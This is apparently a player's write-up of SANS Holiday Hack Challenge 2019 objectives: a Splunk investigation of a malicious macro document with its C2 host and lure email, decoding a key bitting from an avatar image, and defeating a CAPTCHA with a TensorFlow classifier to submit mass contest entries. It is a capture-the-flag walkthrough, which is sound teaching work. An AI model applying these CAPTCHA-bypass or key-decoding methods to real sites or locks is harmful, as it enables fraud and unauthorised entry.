TargetFilename: C:\Windows\Temp\Temp1\Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm

Host: sweetums

ProcessName: File Created

Source: WinEventLog!Microsoft-Windows-Sysmon-Operational

SourcePath: C:\Windows\Temp\Temp1\Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm

Computer: sweetums

Process: File Created

Event Details:

- Computer: sweetums
- CreationUtcTime: 2019-08-25 17:18:00.000
- EventChannel: Microsoft-Windows-Sysmon-Operational
- EventDescription: File Created
- EventID: 11
- Image: C:\Windows\Temp\Temp1\Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm
- Keywords: 0x0000000000000000
- Level: 4
- Opcode: 0
- ProcessId: 5860
- ProcessName: C:\Windows\Temp\Temp1\Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm

Event ID: 1

Source: WinEventLog!Microsoft-Windows-Sysmon-Operational

TargetFilename: C:\Windows\Temp\Temp1\Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm

Host: sweetums

ProcessName: File Created

Source: WinEventLog!Microsoft-Windows-Sysmon-Operational

SourcePath: C:\Windows\Temp\Temp1\Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm

Computer: sweetums

Process: File Created

Event Details:

- Computer: sweetums
- CreationUtcTime: 2019-08-25 17:18:00.000
- EventChannel: Microsoft-Windows-Sysmon-Operational
- EventDescription: File Created
- EventID: 1
- Image: C:\Windows\Temp\Temp1\Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm
- Keywords: 0x0000000000000000
- Level: 4
- Opcode: 0
- ProcessId: 5860
- ProcessName: C:\Windows\Temp\Temp1\Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm

Answer: 19th Century Holiday Cheer Assignment.docm

Results

Training Question 4: Correct

Training Question #5:

How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value.
(Example: 1)

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:31:00.000

Search:


- outlook
- smtp

Looking through logs and pivoting on specific fields leads to the refined search criteria below.

Search Range: All time

Search:

- smtp | top limit=100 "results{}.workers.ioextract.email{}"



The screenshot shows the Splunk Enterprise interface with a search bar containing the query: `smtp | top limit=100 "results{}.workers.ioextract.email{}"`. The search results are displayed in a table with columns for email address, count, and percent. The top results are:


email	count	percent
results@workers.ioextract.email	58	138.095238
thunt@ec2-54-98-48-176.compute-1.amazonaws.com	23	54.761905
carl.banas@faculty.elfu.org	2	4.761905
Carl.Banas@faculty.elfu.org	1	2.380952
yula.toffee@students.elfu.org	1	2.380952
wuoraa.opm@students.elfu.org	1	2.380952
turtledove.fairytree@students.elfu.org	1	2.380952
superplum.mary@students.elfu.org	1	2.380952
sparkle.redberry@students.elfu.org	1	2.380952
sigence.snowcane@students.elfu.org	1	2.380952
shiny.up@students.elfu.org	1	2.380952
robin.wintercrystal@students.elfu.org	1	2.380952
plum.sparkle@students.elfu.org	1	2.380952
pepper.minstie@students.elfu.org	1	2.380952
partridge.sugartree@students.elfu.org	1	2.380952
minty.candycane@students.elfu.org	1	2.380952
merry.fairybubbles@students.elfu.org	1	2.380952
holly.evergreen@students.elfu.org	1	2.380952
cuckoo.silverlog@students.elfu.org	1	2.380952

Save the list of 26 emails returned to email-log-data.txt file.

Then filter/analyze further using these commands:

```
cat email-log-data.txt | sed "s/\s\+/ /g" | cut -f 1 -d ' ' | sed  
"s/ //g" | tr "[:upper:]" "[:lower:]" | sort | uniq > email-list.txt
```

```
cat email-list.txt | grep "students\|elfu.org" | wc -l
```



```
slingshot@slingshot:~/working  
File Edit View Search Terminal Help  
slingshot@slingshot:~/working$ cat email-log-data.txt  
thunt@ec2-54-98-48-176.compute-1.amazonaws.com 58 138.095238  
carl.banas@faculty.elfu.org 23 54.761905  
Carl.Banas@faculty.elfu.org 2 4.761905  
yula.toffee@students.elfu.org 1 2.380952  
wuoraa.opm@students.elfu.org 1 2.380952  
turtledove.fairytree@students.elfu.org 1 2.380952  
superplum.mary@students.elfu.org 1 2.380952  
sparkle.redberry@students.elfu.org 1 2.380952  
sigence.snowcane@students.elfu.org 1 2.380952  
shiny.up@students.elfu.org 1 2.380952  
robin.wintercrystal@students.elfu.org 1 2.380952  
plum.sparkle@students.elfu.org 1 2.380952  
pepper.minstie@students.elfu.org 1 2.380952  
partridge.sugartree@students.elfu.org 1 2.380952  
minty.candycane@students.elfu.org 1 2.380952  
merry.fairybubbles@students.elfu.org 1 2.380952  
holly.evergreen@students.elfu.org 1 2.380952  
cuckoo.silverlog@students.elfu.org 1 2.380952  
clove.fruitsparkle@students.elfu.org 1 2.380952  
cherry.brandyfluff@students.elfu.org 1 2.380952  
slingshot@slingshot:~/working$ cat email-log-data.txt | sed "s/\s\+/ /g" | cut -f 1 -d ' ' | sed "s/ //g" | tr "[:upper:]" "[:lower:]" | sort | uniq > email-list.txt  
slingshot@slingshot:~/working$ cat email-list.txt | grep "students\|elfu.org" | wc -l  
26  
slingshot@slingshot:~/working$
```

Answer: 21

Results

✓ Training Question 5: Correct

What was the password for the zip archive that contained the suspicious file?

Search: smtp zip password

Then expand raw text and you will see this:

*Professor Banas, I have completed my assignment. Please open the attached zip file with password **123456789** and then open the word document to view it. You will have to click \"Enable Editing\" then \"Enable Content\" to see it. This was a fun assignment. I hope you like it! --Bradly Buttercups*

Answer: 123456789



What email address did the suspicious file come from?

Search: smtp "results{}.workers.iocextract.email{}"="bradly.buttercups@eifu.org"

Having a list of email addresses that sent email to Professor Banas and knowing from training question #6 that it was sent from "Bradly Buttercups", the answer is the email of Bradly Buttercups.

Results

✓ Training Question 7: Correct


What was the message for Kent that the adversary embedded in this attack?

Search: smtp ubuntu buttercups

[illegible]

i	Time	Event
		hash
		ioextract
<input type="checkbox"/>		results[payload_meta.extra_data.charset ▼
		null
		null
<input type="checkbox"/>		results[payload_meta.extra_data.content-description ▼
		null
		null
<input type="checkbox"/>		results[payload_meta.extra_data.disposition ▼
		attachment
		attachment
<input type="checkbox"/>		results[payload_meta.extra_data.filename ▼
		1574356658.vca0145e44m667617jp-172-31-47-72
		buttercups_hol404_assignment.zip
		19th century holiday cheer assignment.docm
		[content_types].xml
		document.xml
		styles.xml
		settings.xml
		vbadata.xml
		fonttable.xml
		websettings.xml
		vbaproject.bin
		document.xml.rels
		vbaproject.bin.rels
		theme1.xml
		item1.xml
		itemprops1.xml
		item1.xml.rels
		.rels
		app.xml
		core.xml
		1574356658.Vca0145e44M667617jp-172-31-47-72
		Buttercups_HOL404_assignment.zip
		19th Century Holiday Cheer Assignment.docm
<input type="checkbox"/>		results[payload_meta.extra_data.index ▼
		0

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
Then find all the urls to the email archive, download each one to find the one for **core.xml**

```
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/7/f/6/3/a/7f63ace9873ce7326199e464adfdad76a4c4e16
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/9/b/b/3/d/9bb3d1b233ee039315fd36527e0b565e7d4b778f
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/c/6/e/1/7/c6e175f5b8048c771b3a3fac5f3295d2032524af
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/b/e/7/b/9/be7b9b92a7acd38d39e86f56e89ef189f9d8ac2d
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/e/a/4/4/1ea44e753bd217e0edae781e8b5b5c39577c582f
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/e/e/b/4/0/eeb40799bae524d10d8df2d65e5174980c7a9a91
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/8/f/3/3/18f3376a0ce18b348c6d0a4ba9ec35cde2cab300
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/f/2/a/8/0/f2a801de2e254e15840460f4a53e568f6622c48b
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/0/7/4/0/1074061aa9d9649d294494bb0ae40217b9c7a2d9
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/8/6/c/4/d/86c4d8a2f37c6b4709273561700640a6566491b1
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/a/2/b/b/1/a2bb14afe8161ee9bd4a6ea10ef5a9281e42cd09
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/4/0/d/c/1/40dc1e00e2663cb33f8c296cd0cd52fa07a87b6
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/f/5/c/b/a/f5cba8a650d6ada98d170f1b22098d93b8ff8879
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/0/2/b/6/7/02b67cad55d2684115a7de04d0458a3af46b12c6
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/7/6/1/2/1761214092f5c0e375ab3bc58a8687134b7f2582
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/b/7/7/0/f/b770f3a79423882bdae4240e995c0885770022ef
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/9/d/7/a/b/9d7abf0ee4effcecad80c8bbfb276079a05b4342
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/e/9/2/1/1/e9211c706be234c20d3c02123d85fea50ae638fd
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/7/f/6/3/a/7f63ace9873ce7326199e464adfdad76a4c4e16
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/9/b/b/3/d/9bb3d1b233ee039315fd36527e0b565e7d4b778f
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/c/6/e/1/7/c6e175f5b8048c771b3a3fac5f3295d2032524af
```

core.xml is located here:

/home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4

<http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ%20Artifacts/home/ubuntu/archive/f/f/1/e/a/>



Answer: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

Congratulations!

You found the message from the attacker. Be sure to record it somewhere safe for your writeup! Oh, and feel free to poke around here as long as you'd like!

Training Center

Congratulations!

You found the message from the attacker. Be sure to record it somewhere safe for your writeup! Oh, and feel free to poke around here as long as you'd like!

Challenge Question

What was the message for Kent that the adversary embedded in this attack?

the king of the Winter Carnival.

Training Questions

Status

- | Training Questions | Status |
|---|---------------------------------|
| 1. What is the short host name of Professor Banas' computer? | ✓ sweetums |
| 2. What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf) | ✓ ighty_and_Nice_2019_draft.txt |
| 3. What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com) | ✓ 144.202.46.214.vultr.com |
| 4. What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt) | ✓ oliday Cheer Assignment.docm |
| 5. How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1) | ✓ 21 |
| 6. What was the password for the zip archive that contained the suspicious file? | ✓ 123456789 |
| 7. What email address did the suspicious file come from? | ✓ bradly.buttercups@elfu.org |

The answer to Objective 6 needed for the badge question is the string:

Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

6) Splunk

Difficulty: ● ● ● ● ● ●

Access <https://splunk.elfu.org/> as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack? The SOC folks at that link will help you along! *For hints on achieving this objective, please visit the Laboratory in Hermey Hall and talk with Prof. Banas.*

ke you the king of the Winter Carnival.

Submit

6) Splunk

Difficulty: ● ● ● ● ● ●

Access <https://splunk.elfu.org/> as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack? The SOC folks at that link will help you along! *For hints on achieving this objective, please visit the Laboratory in Hermey Hall and talk with Prof. Banas.*


Congratulations! You have completed the Splunk challenge!

Objective 7 – Get Access To The Steam Tunnels


To achieve this Objective, you first need to gain access to the Dormitory area which is on the east side of the Quad. To access the Dorm area, you will need to talk to Tangle Coalbox and solve the Frosty Keypad challenge. There is a full write-up on that challenge in the Achievement section of this report.



Once you solve the Frosty Keypad challenge, you can enter the Dorm area. Heading east you will find Minty Candycane and continuing on east you will find an open dorm room door at the end of the hallway.




When you enter Minty's dorm room, you will be in a smaller area and no other players will be visible. There will appear a single NPC (non-player character) that will appear briefly and then quickly scamper towards the closet, closes the door and disappears.



<https://www.youtube.com/watch?v=OQo2iyogoT8>


Also, in this room is a key cutter machine. Clicking on the key cutter shows that there is a 6 position bitting code can be set to cut a new key, but we don't know what do with this yet. Pressing the "Cut" button will create a key cut to the given numeric settings and then you can click on the new key image to save to your filesystem as a file.




(Key cutter also available directly at <https://key.elfu.org>)



If you try to follow Krampus into the closet you reach a dead-end and you are presented with a keyhole lock challenge.



Clicking on the keyhole in the center of the wall, brings up a keyring and a lock.



(Lock/key challenge also available directly at <https://thisisit.elfu.org>)

Clicking on the keyring prompts you to load a file from your local filesystem, so you need to have a file this will accept as a valid key. Putting it all together it seems we use the key cutter machine to create a key that will work on this lock in the closet.

But, how do we get the right bitting settings? Excellent help is available in one of the KringleCon 2019 talks called "Optical Decoding of Keys" given by Deviant Ollam in Track 5 in Hermey Hall or can be viewed directly at this link:



<https://www.youtube.com/watch?v=KU6FJnbkeLA>

In this talk, he describes how if a key is visible and/or you can obtain a sufficiently clear image of it, the biting code can be determined through visual analysis. Although it was difficult to notice initially, the scampering Krampus we saw briefly earlier had a key hanging from his belt!



This image as displayed in the browser is too small to do any analysis, however maybe the image source used for the Krampus avatar is in a higher resolution and has more detail. Let's find out.

Accessing the Firefox developer tools (F12), then going to the Inspector tab and then searching for ".camera" and expanding this out we find the objects that are drawn for this room including a <div> object called "krampus scampering". To the right of this entry the CSS defines an image for this character.



Zooming in...

```
<div class="desk-front"></div>
<div class="fish-tank"></div>
<div class="closet-door slam"></div> event
<div class="room-clicker"></div> event
<div class="krampus scampering"></div>
<div class="painting"></div>
```

```
height: 188px;
background: url(/images/avatars/elves/krampus.png) no-repeat;
background-position-x: 0%;
background-position-y: 0%;
background-size: auto;
position: absolute;
```




So, we see that the image source for the Krampus avatar is located here:

<https://2019.kringlecon.com/images/avatars/elves/krampus.png>


Displaying this image at full size shows a clear image of the key:



Selecting the key itself, rotating it using GIMP and doing a little image cleanup, results in a much clearer image of just the key:




Now, going back to Deviant Ollam's talk, he provides templates for various key/lock manufacturers which can be overlaid over a key image to determine the bitting pattern. The last piece of information needed is the key/lock manufacturer. This can be revealed by taking a closer look at the lock image from the closet (Can be seen better here: <https://thisisit.elfu.org/?challenge=bitting-keyhole>)




We now know the lock is **Schlage**! We will use the Schlage template provided by Deviant Ollam here: <https://github.com/deviantollam/decoding/tree/master/Key%20Decoding>

It is possible using GIMP to overlay the Schlage template image as a layer on top of the key image we got from the Krampus avatar and determine the key biting sequence:




Here is a more zoomed in view of the above image:




The key biting sequence is: 1-2-2-5-2-0 (Hey, what a coincidence! - 12/25/20 - Christmas day 2020!)


Using this in the key cutter machine, will produce the following:



You can click on the key to save it to the filesystem:



Then go back into Minty's closet, click on the keyhole, and then click on the keychain to load the key:



Hover the key over to the lock and click. The key turns and...



THIS IS IT!



<https://www.youtube.com/watch?v=Qa8kCQQUJHM&t=14>



Entering through the secret entrance in the closet leads you into the Steam Tunnels:



Go around the corner to find Krampus!



Click on Krampus to dialog with him and he reveals his full name and that he's the one that took the Turtle doves:

*Hello there! I'm **Krampus Hollyfeld**.*

*I maintain the steam tunnels underneath Elf U,
Keeping all the elves warm and jolly.*

*Though I spend my time in the tunnels and smoke,
In this whole wide world, there's no happier bloke!*

Yes, I borrowed Santa's turtle doves for just a bit.

Someone left some scraps of paper near that fireplace, which is a big fire hazard.


I sent the turtle doves to fetch the paper scraps.

But, before I can tell you more, I need to know that I can trust you.

Further dialog with Krampus unlocks Objectives 8-12 and Krampus also introduces Objective 8 - Frido Sleigh CAPTEHA.


The answer to Objective 7 needed for the badge question is the string: **Krampus Hollyfeld**

7) Get Access To The Steam Tunnels

Difficulty: 

Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name. *For hints on achieving this objective, please visit Minty's dorm room and talk with Minty Candy Cane.*

7) Get Access To The Steam Tunnels

Difficulty: 

Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name. *For hints on achieving this objective, please visit Minty's dorm room and talk with Minty Candy Cane.*

Congratulations! You have completed the Get Access To The Steam Tunnels challenge!

Objective 8 – Bypassing the Frido Sleigh CAPTEHA

This Objective is introduced at the end of Objective 7 when you discover Krampus in the Steam Tunnels and details are provided through the dialog with that character:



Krampus Hollyfeld (end of Objective 7):

...

Tell you what – if you can help me beat the [Frido Sleigh](https://fridosleigh.com) contest (Objective 8), then I'll know I can trust you.

The contest is here on my screen and at fridosleigh.com.

No purchase necessary, enter as often as you want, so I am!

They set up the rules, and lately, I have come to realize that I have certain materialistic, cookie needs.

Unfortunately, it's restricted to elves only, and I can't bypass the CAPTEHA.

(That's Completely Automated Public Turing test to tell Elves and Humans Apart.)

I've already cataloged [12,000 images](#) and decoded the [API interface](#).

Can you help me bypass the CAPTEHA and submit lots of entries?

For this Objective, you need to bypass the CAPTEHA (**C**ompletely **A**utomated **P**ublic **T**uring test to tell **E**lves and **H**umans **A**part) on the <https://fridosleigh.com/> contest submission form.



As a start, download the 12,000 images at this link (https://downloads.elfu.org/capteha_images.tar.gz) and the provided API interface script at this link (https://downloads.elfu.org/capteha_api.py).

The 12,000 images are a collection of the CAPTEHA images from the fridosleigh.com form submission and categorized by image:

```
drwxrwxr-x chris/chris 0 2019-11-26 14:40 Stockings/
drwxrwxr-x chris/chris 0 2019-11-26 14:40 Santa Hats/
drwxrwxr-x chris/chris 0 2019-11-26 14:40 Presents/
drwxrwxr-x chris/chris 0 2019-11-26 14:40 Ornaments/
drwxrwxr-x chris/chris 0 2019-11-26 14:40 Christmas Trees/
drwxrwxr-x chris/chris 0 2019-11-26 14:40 Candy Canes/
```

The API interface script has the building blocks needed to programmatically interact with the JSON fridosleigh.com API and make the form submissions once the CAPTEHA is bypassed, but it's missing the Machine Learning image processing code which we need to supply.

However help is available in one of the KringleCon 2019 talks called "Machine Learning Use Cases for Cybersecurity" given by Chris Davis in Track 4 in Hermey Hall or can be viewed directly at this link: https://www.youtube.com/watch?v=jmVPLwjm_zs

At time index 8:25, there is specific discussion on how to use Machine Learning to bypass CAPTCHA's and there is a GitHub link (https://github.com/chrisjd20/img_rec_tf_ml_demo) provided with sample Python code using Tensorflow to:

1. Train the image classifier and generate a trained model (retrain.py)
2. Predict images provided based on the trained model (predict_images_using_trained_model.py)

There are installation requirements needed for TensorFlow provided on the GitHub README page which are as follows:

```
git clone https://github.com/chrisjd20/img_rec_tf_ml_demo.git
cd img_rec_tf_ml_demo
sudo apt install python3 python3-pip -y
sudo python3 -m pip install --upgrade pip
sudo python3 -m pip install --upgrade setuptools
sudo python3 -m pip install --upgrade tensorflow==1.15
sudo python3 -m pip install tensorflow_hub
```

So the plan seems fairly straightforward:

1. Use the code from retrain.py to create a trained model from the 12,000 images provided in capteha_images.tar.gz

```
python3 retrain.py --image_dir ./capteha_images/
```

2. Then use code components from predict_images_using_trained_model.py to help fill in the ML pieces in capteha_api.py




The retrain step is done only once, takes about 20 minutes to complete, and generates a folder /tmp/retrain_tmp/ containing the Tensorflow graph (trained model) at about 460MB in size. So far so good. I'm then able to code up what's needed for the ML with help from the supplied scripts and my code is working. Everything works really well up to this point except for one detail - performance.

After integrating the ML code into capteha_api.py, the average run time for just the ML component to predict the correct images was averaging about 30-40 seconds, which is well past the 9-10 second threshold the CAPTEHA allows before timing out.

I should note that described below is the path I took to solve this challenge, however there are likely many other paths that could have led to a solution as well. This is just the way that I was able to solve it.

So initially I was running this setup in a locally hosted Linux VM (no GPU support) on my laptop. I decided to migrate the entire setup to a physical Windows 10 desktop host equipped with one GPU card (NVIDIA GeForce GTX 980).

I then needed to install the following on that Windows 10 host:

 python-3.6.8-amd64.exe	12/16/2019 10:05 PM	Application	31,085 KB
 cuda_10.0.130_win10_network.exe	12/16/2019 10:30 PM	Application	17,168 KB
 Miniconda3-latest-Windows-x86_64.exe	12/17/2019 4:43 PM	Application	52,734 KB

These can be download from here:

Python 3.6.8:

<https://www.python.org/downloads/release/python-368/>

Nvidia Toolkit Archive Link:

https://developer.nvidia.com/cuda-10.0-download-archive?target_os=Windows&target_arch=x86_64&target_version=10&target_type=exenetwork


Miniconda Download Link:

<https://docs.conda.io/en/latest/miniconda.html>

Once installed, this is what it should look like in the Windows control panel - "Programs and Features":

Name	Publisher	Installed On	Size	Version
Miniconda3 4.7.12 (Python 3.7.4 64-bit)	Anaconda, Inc.	12/17/2019		4.7.12
Python Launcher	Python Software Foundation	12/16/2019	1.75 MB	3.6.6565.0
Python 3.6.8 (64-bit)	Python Software Foundation	12/16/2019	92.8 MB	3.6.8150.0
NVIDIA 3D Vision Controller Driver 390.41	NVIDIA Corporation	12/16/2019		390.41
NVIDIA Graphics Driver 411.31	NVIDIA Corporation	12/16/2019		411.31
NVIDIA 3D Vision Driver 411.31	NVIDIA Corporation	12/16/2019		411.31
NVIDIA CUDA Runtime 10.0	NVIDIA Corporation	12/16/2019		10.0
NVIDIA CUDA Documentation 10.0	NVIDIA Corporation	12/16/2019		10.0
NVIDIA CUDA Development 10.0	NVIDIA Corporation	12/16/2019		10.0

Once Miniconda is installed, I launched the "Anaconda Prompt (Miniconda3)":



At the Miniconda (base) prompt, I installed the following modules using the conda utility:

```
(base) C:\>conda install tensorflow-gpu=1.15.0
this should install dependencies: tensorflow-estimator and tensorboard

(base) C:\>conda install cudatoolkit=10.0.130
this should also install dependency: cudnn (NVIDIA CUDA® Deep Neural Network library)
```

After installing these modules, performing a "conda list" command at the Miniconda prompt should show these as installed:

```
cudatoolkit      10.0.130      0
cudnn            7.6.4         cuda10.0_0
...
tensorboard      1.15.0        pypi_0        pypi
tensorflow-estimator 1.15.1        pypi_0        pypi
tensorflow-gpu   1.15.0        pypi_0        pypi
```

Now that I have a TensorFlow environment setup that is capable of utilizing GPU acceleration, I re-generated the trained model and re-ran my modified capteha_api.py.

At this point on each run I was averaging 12-15 seconds for just the ML portion of the code, which was still about 3-5 seconds too slow and the CAPTEHA was still timing out. I made various tweaks including this config profile below which slightly helped and shaved maybe 1 second from the average run time:

```
# Optimizations
NUM_PARALLEL_EXEC_UNITS = 6
config = tf.compat.v1.ConfigProto(intra_op_parallelism_threads=NUM_PARALLEL_EXEC_UNITS, inter_op_parallelism_threads=16, allow_soft_placement=True, device_count = {'GPU': 1})
```

However, the program was still just falling short of the timeout threshold consistently on each run by about 2-4 seconds. Also, I noticed that every now and again, it would fail with an error "Too many images selected!" meaning that the ML algorithm got the prediction wrong for at least one of the images.

Then I had an idea - rather than run it just once and exit, what if I looped it without exiting and perhaps on subsequent loop iterations there would be enough caching or pipelining taking place to optimize away those last few seconds and keep retrying within reason until the guess is correct... This strategy ultimately worked!

I created a while loop in the code that would run it at least 25 times consecutively or until success. Using this method, on average I would have a successful bypass of the CAPTEHA anywhere between the 3rd - 10th attempt.

The full source code for my modified capteha_api.py is included in the Appendix of the report or at <https://github.com/deckerXL/SANSHolidayHackChallenge2019>


Here is the output from a successful run below. What this shows below is that success was reached on the 4th iteration of the loop, so at the top of the 2nd screenshot you see a "Timed Out!" error which was from the 3rd loop iteration, then it loops and on the next try it got it in 8.224190 seconds:

```
1 (base) C:\working\python .\capteha_api.py
2 *****
3 ***** Starting *****
4 *****
5
6
7 Sending Request to: [https://fridosleigh.com/...]
8 Determined the following challenge image types: [['Christmas Trees', 'Ornaments', 'Stockings']]...
```




```
...
128 -----
129 Server Response:
130 -----
131 Timed Out!
132
133 -----
134
135 ***** Starting *****
136 *****
137
138
139 Sending Request to: [https://fridosleigh.com/...]
140 Determined the following challenge image types: [['Ornaments', 'Christmas Trees', 'Presents']]...
141
142 Starting tensorflow analysis at timestamp: [2019-12-17 21:24:39.615923]
143 ++++++ Queue put:f79a191-e584-11e9-97c1-309c23aaf0ac-- Prediction:Ornaments-- Percent:0.99810505
144 ++++++ Queue put:f60883d0-e584-11e9-97c1-309c23aaf0ac-- Prediction:Ornaments-- Percent:0.99449426
145 ++++++ Queue put:e2d18aa2-e584-11e9-97c1-309c23aaf0ac-- Prediction:Presents-- Percent:0.9993519
146 ++++++ Queue put:e66b413-e584-11e9-97c1-309c23aaf0ac-- Prediction:Presents-- Percent:0.99982846
147 ++++++ Queue put:f7ee0f4d-e585-11e9-97c1-309c23aaf0ac-- Prediction:Christmas Trees-- Percent:0.9996437
148 ++++++ Queue put:c3214ab0-e585-11e9-97c1-309c23aaf0ac-- Prediction:Christmas Trees-- Percent:0.9989343
149 ++++++ Queue put:28007c47-e587-11e9-97c1-309c23aaf0ac-- Prediction:Christmas Trees-- Percent:0.9829586
150 ++++++ Queue put:44361b66-e586-11e9-97c1-309c23aaf0ac-- Prediction:Presents-- Percent:0.9993717
151 ++++++ Queue put:92525d7f-e586-11e9-97c1-309c23aaf0ac-- Prediction:Ornaments-- Percent:0.9960769
152 ++++++ Queue put:a5b5432-e586-11e9-97c1-309c23aaf0ac-- Prediction:Ornaments-- Percent:0.9984505
153 ++++++ Queue put:69fa738e-e587-11e9-97c1-309c23aaf0ac-- Prediction:Ornaments-- Percent:0.99800986
154 ++++++ Queue put:8cca7295-e586-11e9-97c1-309c23aaf0ac-- Prediction:Christmas Trees-- Percent:0.9994523
155 ++++++ Queue put:f4fc0202-e586-11e9-97c1-309c23aaf0ac-- Prediction:Presents-- Percent:0.99836665
156 ++++++ Queue put:58eac203-e586-11e9-97c1-309c23aaf0ac-- Prediction:Ornaments-- Percent:0.9950956
157 ++++++ Queue put:4055b8db-e588-11e9-97c1-309c23aaf0ac-- Prediction:Presents-- Percent:0.9952064
158 ++++++ Queue put:0b81d597-e587-11e9-97c1-309c23aaf0ac-- Prediction:Christmas Trees-- Percent:0.99405104
159 ++++++ Queue put:9eaa06dd-e586-11e9-97c1-309c23aaf0ac-- Prediction:Presents-- Percent:0.999718
160 ++++++ Queue put:852245a1-e587-11e9-97c1-309c23aaf0ac-- Prediction:Presents-- Percent:0.84580135
161 ++++++ Queue put:3d8f156d-e586-11e9-97c1-309c23aaf0ac-- Prediction:Ornaments-- Percent:0.99441624
162 ++++++ Queue put:1226b5f5-e588-11e9-97c1-309c23aaf0ac-- Prediction:Christmas Trees-- Percent:0.9995902
163 Completed tensorflow analysis in: [0:00:08.224190] time
164
165 CAPTEHA Solved on attempt [4]!
166 Submitting lots of entries until we win the contest! Entry #1
167 Submitting lots of entries until we win the contest! Entry #2
168 Submitting lots of entries until we win the contest! Entry #3
169 Submitting lots of entries until we win the contest! Entry #4
170 Submitting lots of entries until we win the contest! Entry #5
171 Submitting lots of entries until we win the contest! Entry #6
172 Submitting lots of entries until we win the contest! Entry #7
173 Submitting lots of entries until we win the contest! Entry #8
174 Submitting lots of entries until we win the contest! Entry #9
175 Submitting lots of entries until we win the contest! Entry #10
176 Submitting lots of entries until we win the contest! Entry #11
177 Submitting lots of entries until we win the contest! Entry #12
178 Submitting lots of entries until we win the contest! Entry #13
179 Submitting lots of entries until we win the contest! Entry #14
180 Submitting lots of entries until we win the contest! Entry #15
181 Submitting lots of entries until we win the contest! Entry #16
182 Submitting lots of entries until we win the contest! Entry #17
183 Submitting lots of entries until we win the contest! Entry #18
184 Submitting lots of entries until we win the contest! Entry #19
185 Submitting lots of entries until we win the contest! Entry #20
186 Submitting lots of entries until we win the contest! Entry #21
187 Submitting lots of entries until we win the contest! Entry #22
188 Submitting lots of entries until we win the contest! Entry #23
189 Submitting lots of entries until we win the contest! Entry #24
190 Submitting lots of entries until we win the contest! Entry #25
191 Submitting lots of entries until we win the contest! Entry #26
192 Submitting lots of entries until we win the contest! Entry #27
193 Submitting lots of entries until we win the contest! Entry #28
194 Submitting lots of entries until we win the contest! Entry #29
```

```
...
230 Submitting lots of entries until we win the contest! Entry #65
231 Submitting lots of entries until we win the contest! Entry #66
232 Submitting lots of entries until we win the contest! Entry #67
233 Submitting lots of entries until we win the contest! Entry #68
234 Submitting lots of entries until we win the contest! Entry #69
235 Submitting lots of entries until we win the contest! Entry #70
236 Submitting lots of entries until we win the contest! Entry #71
237 Submitting lots of entries until we win the contest! Entry #72
238 Submitting lots of entries until we win the contest! Entry #73
239 Submitting lots of entries until we win the contest! Entry #74
240 Submitting lots of entries until we win the contest! Entry #75
241 Submitting lots of entries until we win the contest! Entry #76
242 Submitting lots of entries until we win the contest! Entry #77
243 Submitting lots of entries until we win the contest! Entry #78
